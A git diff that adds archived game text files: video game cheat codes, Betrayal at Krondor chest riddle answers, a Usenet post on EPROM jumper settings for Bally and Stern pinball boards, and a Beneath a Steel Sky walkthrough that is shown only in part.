+F/A-18 INTERCEPTOR + +Select option "2 Free Flight, no enemy confrontation" from +the main menu. Then select zero instead of 1 to 4. The +screen will go into a spiral and scroll way south to 34 by +117 degrees, placing your plane somewhere without a runway. +To take off you have to use the afterburners. 117 degrees +is the furthest south you'll be able to fly, but you can go +in other directions. (Is there more to this back door? hmm) + + + +FAERY TALE ADVENTURE + +Sometimes you can accumulate all the treasure you want by +going near the item, press space bar, and keep pressing 'T'. +You'll receive an infinite supply of that treasure. + +Save your position in a dungeon. Then go through it until +you don't have anymore keys. Restore your position. All +doors already opened will still be open, and you'll have a +new supply of keys. Repeat if needed. Also works in cave. + +Jump on the turtle and start slashing. Your bravery points +will go up to infinity, but doesn't hurt the turtle or you. + +On the island with the Crystal Castle, press the right mouse +button while talking to the Sorceress and your luck will go +to 65. "Ask"ing the Sorceress several times will normally +boost your luck. + +If running low on green keys, use a secret entrance for the +fort - it is on the left side, almost even with the door. + + +HYBRIS + +Boot game and don't do anything until the high scores screen +appears. Then type COMMANDER and click the fire button. +When it starts, wait a few moments and press the F10 key. +If the extensions of your ship get flickery or glimmer, +you're now invincible and have unlimited expansions and +smart bombs. Get to the other 6 levels of expansions by +pressing F1 through F5 when you're in unexpanded mode, or +capture the special "capsules" in the usual way. Move to +other game levels (there are three) with the F8 key, and +turn invincibility off or on with the F10 key. No High +scores are collected when you're invincible. + + + +KARATE KID II + +Press the P key in single player mode to be taken to the +next screen. You can go as far as the Final Encounter. In +2-player mode, you can go to the next-to-the-last screen. + + + +LEISURE SUIT LARRY + +Press ALT and X at the same time to bypass the proof-of-age +questions. + + + +STARGLIDER (not Starglider II): + +Boot and play as usual until launched and ready to do +battle. Then slow down until completely stopped in +space. Press the F1 key to turn on the fixed sight, and +press the backspace key to pause the game. Now type: + js[space]arg[space]s You should now be invincible! +You'll know you're in invincible mode when you can +repeatedly press the P key and get additional missiles (up +to 9). If the password didn't take the first time, try +again. To may have to dock and re-exit for it to work. +Once invincible, your fuel will remain constant and shields +will never be depleted. + +Also, a secret built-in 3D object viewer running in the +background is available by pressing the z key once you've +entered the invincible mode. Use the keyboard to pause [p], +select [, and .] and manipulate objects - use all keys + except q and ESC. Use the mouse to change point of view +and magnification and hold down the right button. .... + + + +STARGLIDER II + +Once the game has started, press F for fixed sights and +then slow the ship to a halt. Press BACKSPACE to pause, and +type the words: WERE ON A MISSION FROM GOD (really!) +(The article did not have the apostrophe ' in We're ...) + +Then press 1 (one) on the keyboard (not keypad). Your +shield and energy levels will drop to a fixed point. Press +the letter K to get all the weapons in the game, including +the neutron bomb. If you run low on weapons, you can get +them all back by repeating the process. Onward into battle, +young soldiers! + + + +SWORD OF SODAN + +Type NANCY then press RETURN on the high scores screen for +unlimited lives! + + + +TEST DRIVE + +Holding down the joystick button while going around curves +prevents you from hitting the wall or going off the cliff. + + + +THREE STOOGES + +To really slow down "the hand" which selects the scenes, do +the slapping game and pull Curly's ear: pull it continuously +until the time runs out. + + + +XENON + +Let yourself be killed off at the beginning of the 2nd stage +of the 2nd level, and all aliens in the round are destroyed. + + + +Press [ENTER] to continue... + +Call the Terminal Bliss BBS at T-ERM-INA-LBLS. + + \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + \\ home of the dead rock \\ + \\ stars and across the \\ + \\ street from the circle \\ + \\ A its the............ \\ + \\ \\ + \\ DEAD ROCK CAFE \\ + \\ 415-676-5953 \\ + \\ 300-1200-2400 BAUD \\ + \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ + + + diff --git a/textfiles.com/games/bak-code.txt b/textfiles.com/games/bak-code.txt new file mode 100644 index 00000000..2729ede1 --- /dev/null +++ b/textfiles.com/games/bak-code.txt @@ -0,0 +1,333 @@ + BETRAYAL OF KRONDOR CHEST CODES + + +List of the Moredhal codes for the chests in Krondor as compiled by + +Steve Amburgey and Jim Clear, of Melbourne, Fl. + +(The XXX Chests were never found by us but we know from others that +they exist) + + +A H A E = EYES + +A R O O L E T = ALCOHOL + +A V O D = SURF + +B A T I = BULL + +B D R E Y = SHOES + +B E L V A E = FUTURE + +B E S T D = NOISE + +B I E R = DICE + +B I L E T = COLTS + +B L T E R I S T = MATTRESS + +B L U E R = FLEAS + +B O T N = DOOR + +B R A T L Y = SNARES + +B R E E L = SIEVE + +B R E E T O E W = DELEKHAN + +B R E S D = PRIEST + +B R I N K = BLADE + +B R I R O E D = FARRIER + +B R L E S D = PRIEST + +B R R D = FIRE + +B S R O = BARD + +C C A S E = OCEAN + +C E O R L I Y = SAWDUST + +C E S S H D N = THISTLE + +C H L T = SHOE + +C H S V O = STOVE + +C I C H = PATH + +C L A P V T = TEMPER + +C L A Y S = TABLE + +C L I W = PLOW + +C O E V L S = BOTTLE + +C O N S = BOOK + +C O S A E F I E = STRANGER + +C P T E G Y = SPONGE + +C Q A T R L = SQUARE + +C R E T Y = SPURS + +C U O H H O = BUTTON + +D O C = DIE + +D R V S A G H O = DAY NIGHT + +D S W P S T Y = DISPUTE + +E H E P E T S = GALLOWS + +E I T L = EGGS + +E O E = FOG + +E O E N = BARK + +E T R I O S = BARROW + +F O B P L Y = BUBBLE + +F S A O T = BROOM + +H L A L Y = TOWEL + +H S K O = LAKE + +J A R M L A Y = PROMISE + +K I I E N = ONION + +K L I C B T R = KNOCKER + +L E I E L T = ICICLE + +M A O H L L = JACKET + +M B T N = ROPE + +M O R I T = RIVER + +O H D E = PIPE + +P A T D = WIND + +P E R D E = WRONG + +P H E N G S S = THOUGHT + +P I E S C E = ADVICE + +P L E S R = WATER + +P S A O S = ARROW + +P S T E = LIFE + +P W R D L A T J S N = TRADE MARES + +Q I S S H D = MOUSER + +R A R P E = WAGON + +R C O N C A D G S R = GLAMREDHEL + +R H E D L S = CANDLE + +R H N B F T = SHADOW + +R I A C = RAIN + +R M E E S = SMOKE + +R O B N = RING + +R O S E T = HASTE + +R O S P L = SNAIL + +R S O E = RAIN + +R S M S T = HONEY + +R T H I C = MUSIC + +S A E T E S = WALNUT + +S A M T = WALL + +S A R D = EYES + +S A R D S = STARS + +S A S S U = CHEST + +S E L E T = GRAVE + +S H O R A S = GLOVES + +S H O T E E D = VICTORY + +S H S T E = THORN + +S H T A B Y = EQUALS + +S H T W E S D = THE DEAD + +S H U E T S E C = GAUNTLET + +S I A D E = PEACE + +S L C K = BELL + +S L L A T = CARDS + +S L O O Y = ASHES + +S O O E S = SWORD + +S O S K = MILK + +S O S L P L G = NOTHING + +T A F K T E = COFFIN + +T A S D O Y = PADDLE + +T A T E = CANE + +T A T H E E N W = DARKNESS + +T C K D = ECHO + +T E F B T = STAKE + +T E I R A E = SECRET + +T E R I E S = STAIRS + +T H A C K = DEATH + +T H A O R T = ORANGE + +T H E D T S = BRIDGE + +T H D E L Y = SADDLE + +T H I U R S = BRIARS + +T H P L E = COALS + +T H R = ICE + +T H T A T W = SHADOW + +T H T H C S = BREATH + +T I A D = LOGS + +T I A P Y = WEARY + +T I W E = SAWS + +T N F I F D R K Y = SNOWFLAKE + +T O B = KEY + +T O G Y = EGGS + +T O L I E L I O E = YESTERDAY + +T O R A = BOOK + +T O S E S = NOOSE + +T O T E L C = TROLLS + +T R A K = DRUM + +T R E G C D S = OUTSIDE + +T R K Y = HAIR + +T R L D R Y = SPIDER + +T R O P S = BLOOD + +T R S E = NAME + +T R Y O E V C I E = WATERFALL + +T U L D = RUST + +T U O R B C T N = SUNSHINE + +T U V E T E D = SILENCE + +V A E O S T = MIRROR + +W E M H I = HOLES + +W O R G S E L = HANGMAN + +W O T S O M E N = HORSEMAN + +W R S H T D E E = ALPHABET + +W S T E = FIRE + + +X X X X X X X X = TREASURE - "Moredhal and Pantanhian, guarding our lid," + + +X X X X X X X X = EYE TO EYE - "Three fools did once sacrifice," + + +X X X X = YOLK - "The contrary of up is down," + + +X X X X X = MONEY - "I had it and I gave it to you'" + + +X X X X X = TONGS - "What is it -- longlegs," + + +X X X X = FIRE - "Put into a pit," + or "Chill of its death," + or "what is it that runs faster uphill," + + +X X X X X X = PILLOW - "What stands taller without its head than with one," + + +X X X X X X X = KEYHOLE - "What goes through the door ..." + + +X X X X X = FAULT - "What is most often found where ..." + + +X X X X X = AGING - "What is it that all people ..." + + +X X X X X = ANKLE - "What is it that is alive ..." + + +X X X X X X X X = APPETITE - "What is it that everyone wants ..." + + + + ************* END *************** + diff --git a/textfiles.com/games/bally.jmp b/textfiles.com/games/bally.jmp new file mode 100644 index 00000000..40304a8d --- /dev/null +++ b/textfiles.com/games/bally.jmp @@ -0,0 +1,428 @@ +From: overturf@bigbootay.sw.stratus.com (Dallas Overturf) +Newsgroups: rec.games.pinball +Subject: Bally/Stern Jumper Document Revised. +Keywords: bally stern technical archive +Message-ID: <1k2javINNdh3@transfer.stratus.com> +Date: 26 Jan 93 05:48:15 GMT +Organization: Stratus Computer, Software Engineering +Lines: 420 + +FYI: For all those interested. Here is an updated and revised copy +of my jumper list for Bally and Stern Games. +This revision corrects the omission of a jumper from the Stern MPU 200. + +Ye who maintains the main archive may feel free to put this in there. +If the old one is there; please delete it. + + Regards, + + Dallas... + + e-mail: overturf@vos.stratus.com + +========================================================================== + + + Eprom Jumpers for Bally Mpu AS-2518-35 + + Modification for AS-2518-133 to AS-2518-35 and vice versa + + (Jumpers for AS-2518-17 are at end) + + This file also contains jumpers for Stern MPU 100/200 + + LAST UPDATED: 01-24-93 REV: 3.0 + + +------------------------------------------------------------------------------- +1. VERIFIED + U1 2316 OR 9316 PROM + U2 2316 OR 9316 PROM + U6 2316 OR 9316 PROM + + E1-E4, E2-E6, E7-E8, E9-E11, E12-E36, E13-E15, E16A-E19, E31-E32, + E33-E34 +------------------------------------------------------------------------------- +2. VERIFIED + U1 2716 EPROM + U2 2716 EPROM + U6 2316 OR 9316 PROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32, E33-E34, + E16A-E19 +------------------------------------------------------------------------------- + +3. + U1 2716 EPROM + U2 2716 EPROM + U6 9332 PROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32,E16A-E34, + E33-E29 +------------------------------------------------------------------------------- +4. NOTE THIS CONFIG FROM BALLY MAY NOT WORK. IT IS LIKE #2 EXCEPT + FOR JUMPERS TO U5. SIMILAR TO #14A. NOTE FURTHER THAT THIS IS + IDENTICAL TO #6. SEE NOTE WITH CONFIG #6 ON THE 2316'S. + THIS IS DIRECT FROM THE BALLY SHEET. + + + U1 2716 EPROM + U2 2716 EPROM + U5 2716 EPROM + U6 2716 EPROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32, E33-E34, + E16A-E19, E26-E29, E28-E30 +------------------------------------------------------------------------------- +5. + U2 9332 PROM + U6 9332 PROM + + E4-E12, E7-E8, E10-E11, E13A-E14, E20-E33, E31-E32, E16A-E34 +------------------------------------------------------------------------------- +6. NOTE THAT THIS IS IDENTICAL TO #4. IF THIS IS GOOD FOR THE + #4 CONFIG IT MAY ONLY WORK WITH THE OLDER 2316'S THAT DID NOT + USE PIN 20. (LATER ONES DID USE PIN 20. SEE PINBALL BOOK). + NOTE FURTHER THAT THIS IS FROM THE BALLY SHEET. + + U1 2716 PROM + U2 2716 PROM + U5 2316 PROM + U6 2316 PROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32, E33-E34, + E16A-E19, E26-E29, E28-E30 + + +------------------------------------------------------------------------------- + +7. + U1 2316 PROM + U2 2316 PROM + U5 2316 PROM + U6 2316 PROM + + E1-E4, E2-E6, E7-E8, E9-E11, E12-E36, E13-E15, E16A-E19, E31-E32, + E33-E34, E26-E20, E28-E30 +------------------------------------------------------------------------------- +8. + U2 9332A PROM NOTE: SIMILAR TO #9 IF NOT WORK TRY + U6 9332A PROM JUMPERING AS IN #9. SEE NOTES BELOW. + + E4-E12, E7-E8, E13-E15, E9-E11, E16A-E34, E29-E33, E31-E32 +------------------------------------------------------------------------------- +9. VERIFIED + U2 2532 EPROM + U6 9332A PROM + + E4-E12, E7-E8, E10-E11, E13A-E14, E16A-E34, E29-E33, E31-E32 +------------------------------------------------------------------------------- +10. + U2 68764 PROM BALLY NOTES (8K) + + E4-E13A, E7-E8, E11-E35, E9-E12 +------------------------------------------------------------------------------- +11. VERIFIED + U2 2532 EPROM + U6 2732 EPROM BALLY NOTES RAPID FIRE / GRAND SLAM + + E4-E12, E7-E8, E10-E11, E13A-E14, E16A-E29, E31-E32, E33-E35 +------------------------------------------------------------------------------- +12. VERIFIED FROM DEO. + U2 2732 EPROM + U6 2732 EPROM + + E4-E13A, E7-E8, E10-E11, E12-GND, E16A-E29, E31-E32, E33-E35 +------------------------------------------------------------------------------- +13. + U1 2316 OR 9316 EPROM + U2 2316 OR 9316 EPROM + U6 2716 + + E1-E4, E2-E6, E7-E8, E9-E11, E12-E36, E13A-E19, E16A-E18, E31-E32, E33-E35 +------------------------------------------------------------------------------- +14. THIS IS THE CONFIGURATION LISTED BY BALLY IN THE SECOND DOCUMENT. + + U1 2716 EPROM + U2 2716 EPROM CONFIGURATION VERIFIED + U6 2716 EPROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32, E33-E35,E16A-E18 + + +------------------------------------------------------------------------------- +14A. VERIFIED FROM DEO. #14 ABOVE WILL ALSO WORK. + + U1 2716 EPROM + U2 2716 EPROM + U6 2716 EPROM + + E1-E5, E2-E4, E7-E8, E11-E25, E10-E12, E13A-E14, E31-E32, E33-E34, + E16A-E34, E19-E33 + +------------------------------------------------------------------------------- +15. VERIFIED FROM DEO. + + U2 IS U1/U2 COMBINED FROM (9316'S). U1 IS AT PROM ADDR 0000x U2 AT 0800x + IN THE 2732 EPROM. + + U2 2732 EPROM + U6 2316 OR 9316 PROM + + E4-13A, E7-E8, E9-E11, E12-E35, E16A-E19, E31-E32, E33-E34 + +------------------------------------------------------------------------------- +16. VERIFIED FROM DEO. + + U2 IS U1/U2 COMBINED FROM (9316'S). U1 IS AT PROM ADDR 0000x U2 AT 0800x + + U2 2732 EPROM + U6 2716 PROM + + E4-13A, E7-E8, E10-E11, E12-GND, E16A-E18, E31-E32, E33-E35 + +------------------------------------------------------------------------------- + + NOTES + + Note: Bally video pins use an AS-2518-133 mpu. + I believe that some late games such as Grand Slam + may have also used the AS-2518-133 mpu. + + This is the same as an AS-2518-35 mpu except that + R113 which is fed from J4 by +43v is now CR52 a 1N4148 + diode fed by 6.3vac from General Illumination. + To use the -133 as a -35 change CR52 to be + a 2k ohm 1/4 watt resistor or to use a -35 as a -133 + change R113 from a resistor to a 1N4148 diode. + The cathode (ie: stripe end ) connects to capacitor C1 + (it is the end away from J4). + +------------------------------------------------------------------------------- + + Combining Rom on Bally Mpu + + 1. Note: when combining U2 and U6 together into a single 2732 Eprom + U2 is at address 0000x and U6 Starts at address 0800x. This is + a 4K Eprom and is the maximum a level 17 can hold. (from 9316 rom). + + Applicable MPUs. AS-2518-17 Could also be used in a -35 and -133 + as well. To run a -17 game if need be. + + 2. Note: when combining 1/4 K rom together into a single 2732 Eprom + As in Nite Rider 721-12, 721-13; The start addresses of U1-U4 are: + U1 0400x, U2 0600x, U3 0000x, U4 0200x, U6 0800x. + Nite Rider was tested combining into a single 2732 on a Level 17 + board and verified correct. The Same applies to Freedom and + Freedom has been tested also. + + Other addresses may be possible based on the jumpers. + Refer to yellow pinball book by R.A. Hornick. + + Applicable MPUs. AS-2518-17 Could also be used in a -35 and -133 + as well. To run a -17 game if need be. + + 3. When combining a pair of 9316's (in U1 and U2 together to form a + single 2732 to be used in U2; U1 is to be put at address 0000x + and U2 is to be put at address 0800x in the 2732. + + Applicable MPUs. AS-2518-35 and -133 + +------------------------------------------------------------------------------- + + A TI TMS2516 will also work in place of a 2716. + It will also program on the sunshine burner as a 2716. + + Distributor claims that the 9332A can be read like a 2532. + This seems to be correct. This should mean that it + would be possible to substitute a 2532 for a 9332. + + + +============================================================================== + + Jumpers for Bally AS-2518-17 / Stern MPU-100 + + Source: Two Bit Score Amusements (from flyer) + 11600 Manchaca Rd Suite 305 + Austin TX 78748 + 512-282-9369 + + Note: Bally AS2518-17 is the same as Stern MPU-100 + + +------------------------------------------------------------------------------- +1. + + U2 9316 PROM + U6 9316 PROM + + E1-E2, E3-E4, E6-E7 Note: E8-E10 MAY BE LEFT IN BUT IS NOT NEEDED. +------------------------------------------------------------------------------- +2. + + U2 2758 PROM + U6 9316 PROM + + E1-E2, E3-E4, E6-E7 + + CUT THE TRACE FROM U2 PIN 18 TO U3 PIN 18 WHERE IT PASSES BETWEEN + SOCKETS U2 & U3. RUN A JUMPER FROM U2 PIN 18 TO U17 PIN 11. + +U2: TIE PIN 12 TO 19, 21 TO 24; + CLIP PINS 19 AND 21 SHORT SO THEY DO NOT REACH INTO SOCKET. + +------------------------------------------------------------------------------- +3. + + U2 2758 PROM + U6 2716 PROM + + E1-E2, E3-E4, E6-E7 + + UNDER BOARD: SHORT U18 PINS 4 & 5; + TOP OF BOARD: CUT PIN 4 AWAY FROM U18; + +U2: TIE PIN 12 TO 19, 21 TO 24; + CLIP PINS 19 AND 21 SHORT SO THEY DO NOT REACH INTO SOCKET. + +U6: CLIP PIN 21 SHORT AND JUMP TO PIN 24. + + +------------------------------------------------------------------------------- +4. + + U2 2716 PROM + U6 9316 PROM + + E1-E2, E3-E4, E6-E7 + + CUT THE TRACE FROM U2 PIN 18 TO U3 PIN 18 WHERE IT PASSES BETWEEN + SOCKETS U2 & U3. RUN A JUMPER FROM U2 PIN 18 TO U17 PIN 11. + +U2: CLIP PIN 21 SHORT AND JUMP TO PIN 24. + + + +------------------------------------------------------------------------------- +5. + + U2 2716 PROM + U6 2716 PROM + + E1-E2, E3-E4, E6-E7 + + + UNDER BOARD: SHORT U18 PINS 4 & 5; + TOP OF BOARD: CUT PIN 4 AWAY FROM U18; + + ON BOTH U2 AND U6: CLIP PIN 21 SHORT AND JUMP TO PIN 24. + +------------------------------------------------------------------------------- +6. VERIFIED FROM DEO. + + U2 2732 EPROM (THIS IS THE FULL CAPACITY OF THE BALLY -17/STERN 100) + + REWORK: + + IF THERE IS CURRENTLY A JUMPER IN E4 REMOVE IT. + + IF THERE IS CURRENTLY A JUMPER IN E3 REMOVE IT. + + E4 AND E3 ARE LOCATED BETWEEN U10 AND U11. + + CUT TRACE ON SOLDER SIDE OF BOARD TO U18 PIN 4. + JUMPER U18 PIN 5 TO THE FEED THRU THAT THIS CUT ETCH WENT + TO (IT CONNECTS TO U2 PIN 18). THIS IS THE ONLY PROM ENABLE AND + IT IS THE INVERSION OF VUA-02-A12. + + COMPONENT SIDE: TO ISOLATE U2 PIN 21 CUT TRACE TO FEED THRU + JUST BELOW U2 PIN 13 (BOARD ORIENTATION IS SUCH THAT THE NOTCH OF + THE U2 CHIP IS UP, AND J5 IS ON YOUR RIGHT) THE FEED THRU BELOW + U2 PIN 13 IS THE RIGHT HAND SIDE OF A SMALL ETCH. FOLLOWING THIS + ETCH TO YOUR LEFT; IT SHOULD ALSO CONNECT TO TWO OTHER FEED THRUS. + THIS ETCH SHOULD BE CUT NEAR THE RIGHT HAND FEED THRU DIRECTLY + BELOW U2 PIN 13. DO NOT CUT IT BETWEEN THE TWO FEED THRUS ON + THE LEFT SIDE. + + + JUMPER E4 TO FEED THRU JUST BELOW U2 PIN 13. + (THIS SHOULD HAVE CONNECTED E4 TO U2 PIN 21). + + CONNECT JUMPER PAD E3 TO U17 PIN 7. (OR ANY GROUND CONNECTION). + + CONNECT E6 TO E7. + + NO OTHER JUMPERS ARE REQUIRED. + +------------------------------------------------------------------------------- + + +=============================================================================== + + STERN MPU-200 CPU JUMPER COMBINATIONS + + (ALSO FROM TWO BIT) +=============================================================================== + +1. + + U1 2716 PROM + U2 2716 PROM + U5 2716 PROM + U6 2716 PROM + + 2-3, 5-7, 9-10, 13-14, 16-18, 19-21, 23-25, 27-28, 29-31, 32-33, 34-35 + + JUMPER CONNECTIONS 36, 37, 38 ARE NOT CONNECTED. + +------------------------------------------------------------------------------- +2. + + U1 9316 PROM + U2 9316 PROM + U5 9316 PROM + U6 9316 PROM + + 1-5, 2-6, 8-9, 12-13, 16-18, 19-20, 22-25, 26-28, 29-31, 32-33, 34-35 + + JUMPER CONNECTIONS 36, 37, 38 ARE NOT CONNECTED. + +------------------------------------------------------------------------------- +3. FROM DISTRIBUTOR BREAKDOWN SHOWS THAT ANY COMBINATION OF + ROM (9316 AND EPROM (2716) IS POSSIBLE. + + + 9316 PROM OR 2716 EPROM + + U1 9-8, 28-26 OR 9-10, 28-27 + + U2 5-1, 2-6 OR 5-7, 2-3 + + U5 19-20, 29-31 OR 19-21, 29-30 + + U6 13-12, 25-22 OR 13-14, 25-23 + + BOTH OF THE ABOVE REQUIRE JUMPER 16-18 TO BE IN ALSO. + + FOR MPU 200 USED AS AN MPU 200 CONNECT 32-33, 34-35 + + +------------------------------------------------------------------------------ +4. DOWN GRADE MPU 200 TO AN MPU 100 (ROMS ONLY) FROM DISTRIBUTOR + + REMOVE E32-E33, E34-E35 + + U2 9316 ROM E5-E7 + + U6 9316 ROM E11-13 + +------------------------------------------------------------------------------ + + + DOCUMENT CORRECTION/MODIFICATION HISTORY: + + REV 2.0 CLEAN UP AND RELEASE TO NET. + REV 2.0.1 08-28-92 MAKE PIN NOTATIONS CONSISTENT. (NO FUNCTIONAL CHANGES) + REV 3.0 01-24-93 ADD JUMPER E16-E18 TO STERN MPU200 USING 9316 & 2716. + diff --git a/textfiles.com/games/bass-sol.txt b/textfiles.com/games/bass-sol.txt new file mode 100644 index 00000000..fdf7b0c1 --- /dev/null +++ b/textfiles.com/games/bass-sol.txt @@ -0,0 +1,330 @@ + This is a complete walkthrough for the game Beneath a Steel Sky. +Document started by Mitch Shaw, mshaw@castaway.cc.uwf.edu, on October +14, 1994. + Throughout this walkthrough, NORTH will refer to the "top" of the +screen, SOUTH - the "bottom", EAST - the "right", and WEST - the "left", +regardless of how each screen is oriented relative to others. + Whenever "Talk to " appears, talk to +him/them/it until your only choice is "Never mind" or something like that. +I can't think of anywhere in the game where you suffer any ill effects from +saying everything you can to someone. + + +BENEATH A STEEL SKY WALKTHROUGH + +Get RUNG on left side of walkway. +Use RUNG on DOOR on right side of walkway. + (At this point, you will automatically go through the door. The SECURITY + OFFICER will follow you, then leave.) +Go WEST, back to the FACTORY. +Go down the stairs, then go EAST. +Examine the robot SHELL in the junkpile south of the ELEVATOR. +Use the CIRCUIT BOARD in the SHELL. +Talk to JOEY. +Stand on ELEVATOR in middle of room. +When HOBBINS (bald guy in overalls) comes out to shut off the alarm, + go EAST as soon as you can. +Quickly, before HOBBINS returns, do the following: + Open the CABINET on the north wall, near the floor. + Take the WRENCH. Take the SANDWICH if you want and if you have time, + but it isn't used anywhere that I found. +Talk to HOBBINS. Be sure to ask him about the ELEVATOR/TRANSPORTER; I + think the conversation starts with asking him how to get off this + level or how to leave the city. +Go WEST. +Tell JOEY to fix the TRANSPORTER. (If you don't know what's wrong with + it, talk to HOBBINS some more until he mentions a charge device being + bad or something along those lines.) +When TRANSPORT ROBOT puts a barrel on the ELEVATOR, climb down the HOLE. +Wait for JOEY to fly in. +Tell JOEY to open the DOOR. + (REICH will march in and threaten you. He will be mysteriously + killed.) +Search REICH'S CORPSE. +Talk to JOEY to wake him up. +Go EAST. + (Now you will be outside the factory, on the top level of the city.) +As you run into new people on this level, talk to them. +Find a LINC TERMINAL (there's one outside the ELEVATOR) and see what you + can find about REICH. Don't worry about the SECURITY SERVICES part-- + you can't get to this without a RETINA SCAN JAMMER, found later. +Go into the FACTORY at the EAST end of the level. +Talk to ANITA (if you haven't already) until LAMB orders her to leave. +Go EAST. +Talk to POTTS if you want to, I don't think it's necessary. +Put the WRENCH into the open space in the MACHINE where gears are visible. +Get the WRENCH again. +Go SOUTHWEST (back the way you came). +Use WRENCH on WELDER. +Ask JOEY how he would like a new shell. + (You will put the welder shell on him.) +Go EAST. +Look through the WINDOW of the storeroom at the bottom of the screen. +Tell JOEY to investigate the STORES. +When he comes back, ask him to report. +Tell JOEY to disable the FUSE BOX. +When you hear a BZZT, enter the STORES. +Move the GANGWALK and get the small piece of PUTTY underneath. +Go EAST. + (POTTS will search you. He won't notice the PUTTY, but if you took the + KEY or OIL he will take them back. Don't worry, you don't need them. + He will also take the GLASSES you found on REICH.) +Leave the FACTORY and go to the POWER PLANT on the WEST side of the level. +Use the WRENCH on both BUTTONS on the EAST side of the screen. +Tell JOEY to push one BUTTON, then push the other at the same time. + (A PIPE will burst, and the OLD MAN will leave.) +Use the SWITCH on the machine with bars on it. +Take the LIGHT BULB. +Put the PUTTY in the SOCKET where the LIGHT BULB was. +Throw the SWITCH again. + (The bars will blow open.) +Use the SWITCH that is pointing up. (Now both should be down.) +Go to the ELEVATOR. +Before you get in, tell JOEY to cut the CABLE on the EAST side of the screen. +Use LINC CARD on SLOT. +Enter LIFT. +Get the CABLE. +Go WEST. +Go NORTHEAST (the door beside the other ELEVATOR.) +Talk to GALLAGHER if you want to... it doesn't do any good. +Use the CARD on the WESTERN SLOT. +Enter the WEST DOOR. +Move the PILLOW. +Get the MAGAZINE under the PILLOW. +Leave the APARTMENT and go to the TRAVEL AGENCY on the EAST side. +Talk to the AGENT until he schedules you for a TOUR. +Give the MAGAZINE to him, and take the TICKET that comes up from the desk. +Look for LAMB, the fat guy in the fur coat. Since you fixed the elevator, + he may be either at the FACTORY or near his APARTMENT, next to REICH'S. +Give LAMB the TICKET. +If you're not already at LAMB'S FACTORY, go there and wait for LAMB to + show up. +Ask LAMB about the FACTORY TOUR he promised you. + (LAMB will show you around his incredibly boring PIPE-MAKING FACTORY. + When he finds the machine broken, he will leave.) +Go EAST. +Talk to ANITA. When she asks for your LINC CARD, give it to her. Then talk + to her until there's nothing more to talk about. She should tell you + about D-LINCS, SCHRIEBMANN PORTS, etc. You should also get the JAMMER + program which bypasses RETINA SCANS on LINC TERMINALS. +Leave the FACTORY. +If LAMB is standing outside the FACTORY, use the LINC TERMINAL. + Choose the SECURITY SERVICES choice, D-LINC LAMB and freeze his assets. +Wait until LAMB tries to use the ELEVATOR. +Ask LAMB if he has a problem. +Offer to feed his CAT. +Go down a level to LAMB'S APARTMENT, next to REICH'S APARTMENT. +Use your CARD to enter. +Feed the stinking CAT if you want to, don't otherwise. It doesn't matter. +Get the VIDEOTAPE on the shelf. Look at it in the VCR if you want. +Go to DR. BURKE'S OFFICE on the WEST end of this level. +Talk to the HOLOGRAPHIC RECEPTIONIST until she refuses to let you in. +Ask JOEY to talk to her. Tell him to use his NATURAL CHARM. +Go WEST when the door opens. +Talk to BURKE about a SCHRIEBMANN PORT. + (Offer a lung, then a kidney. Talk to him again and he'll tell you the + good news about donating testes. Then he'll install the PORT.) +Ask BURKE how to get out of the CITY. (He should mention his good friend + WILLIE, who is ANCHOR the INSURANCE AGENT.) +Go to the INSURANCE OFFICE. +Ask JOEY to use the computer. (He should scramble the HARD DRIVE.) +Ask ANCHOR about a SPECIAL POLICY. Tell him DR. BURKE sent you, not LAMB. +When he walks into the back, tell JOEY to use his WELDER on the STATUE. +Get the ANCHOR when it comes loose. +Use the ANCHOR with the CABLE to form a GRAPPLING HOOK. +Go back to HOBBINS' FACTORY on the top level. +Go out on the ledge where you escaped from the first SECURITY OFFICER. +Use the HOOK on the big "S" SIGN on the other building. + (You should crash through the window.) +Don't bother with the LOCKERS, the only one you can open is useless. +Go EAST. +Use your CARD on the INTERFACE SLOT. +Use the INTERFACE. + Now you're in LINC-SPACE. + Get the BALL. + Go EAST. + In the menu bar up top, use the OPEN program on the CARPET BAG. + Get the MAGNIFYING GLASS and SURPRISE GIFT that appear. + Use the DECRYPT program on the two DOCUMENTS with "?" on them. + Use the DECOMPRESS program on the COMPRESSED DATA. + Go EAST. + Use the PASSWORDS (green and red swirls) to get to the DOOR on the + NORTH side. This isn't hard, but I don't want to go through the + whole thing here. + Get the BUST and BOOK. + Use DECRYPT on the new DOCUMENT. + DISCONNECT. +Use CARD on the TERMINAL at the right side of the screen. + Go to SECURITY SERVICES menu again. + View all the DOCUMENTS. + Enable the SPECIAL PHOENIX ACCESS. +Use CARD in SLOT for ELEVATOR. +Go down to the GROUND LEVEL. +When the large, old WOMAN walks by, talk to the GUARD (OFFICER BLUNT). +Talk to the WOMAN (MRS. PIERMONT). +Go to the SOUTH side of the POOL, where the small SHACK is. +Examine the DOOR and LOCK. +Use a LINC CARD on the LOCK. +Enter the SHACK. +Get the SECATEURS (wire cutters, I guess). +Go to the ST. JAMES CLUB entrance at the WEST side of the POOL. +Talk to the DOORMAN. +Find MRS. PIERMONT and talk to her again; ask her to sponsor you. +Go to the APARTMENT ENTRANCE at the EAST side of the POOL. +Talk to the GARDENER about the FLOWERS. + (He should tell you they're DANDELIONS.) +Ask the BOY about DANDELIONS. + (He says they're yellow, not blue.) +Talk to the GARDENER again. + (He should admit he's not a GARDENER.) +Use the INTERCOM next to the ELEVATOR. + (She invites you to come up.) +Talk to PIERMONT for however long you want, then ask her about the CLUB. +When she gets up to call the CLUB, put the VIDEOTAPE in the VCR. +When SPUNKY starts barking at the MONITOR, go examine the BOWL he was + eating from. Get some DOG BISCUITS. +Leave the APARTMENT. +Go back to where the BRICKS and PLANK are. +Put the DOG BISCUITS on the PLANK. +Enter ST. JAMES CLUB. +The BAND is probably playing; just talk to everyone for a while, then leave. +It may take a while for PIERMONT and SPUNKY to come back out, so stroll + around for a bit. You should hear barking when the dog finds the food. +Use the ROPE to launch SPUNKY into the POOL. +When BLUNT goes to help PIERMONT, enter the CATHEDRAL. 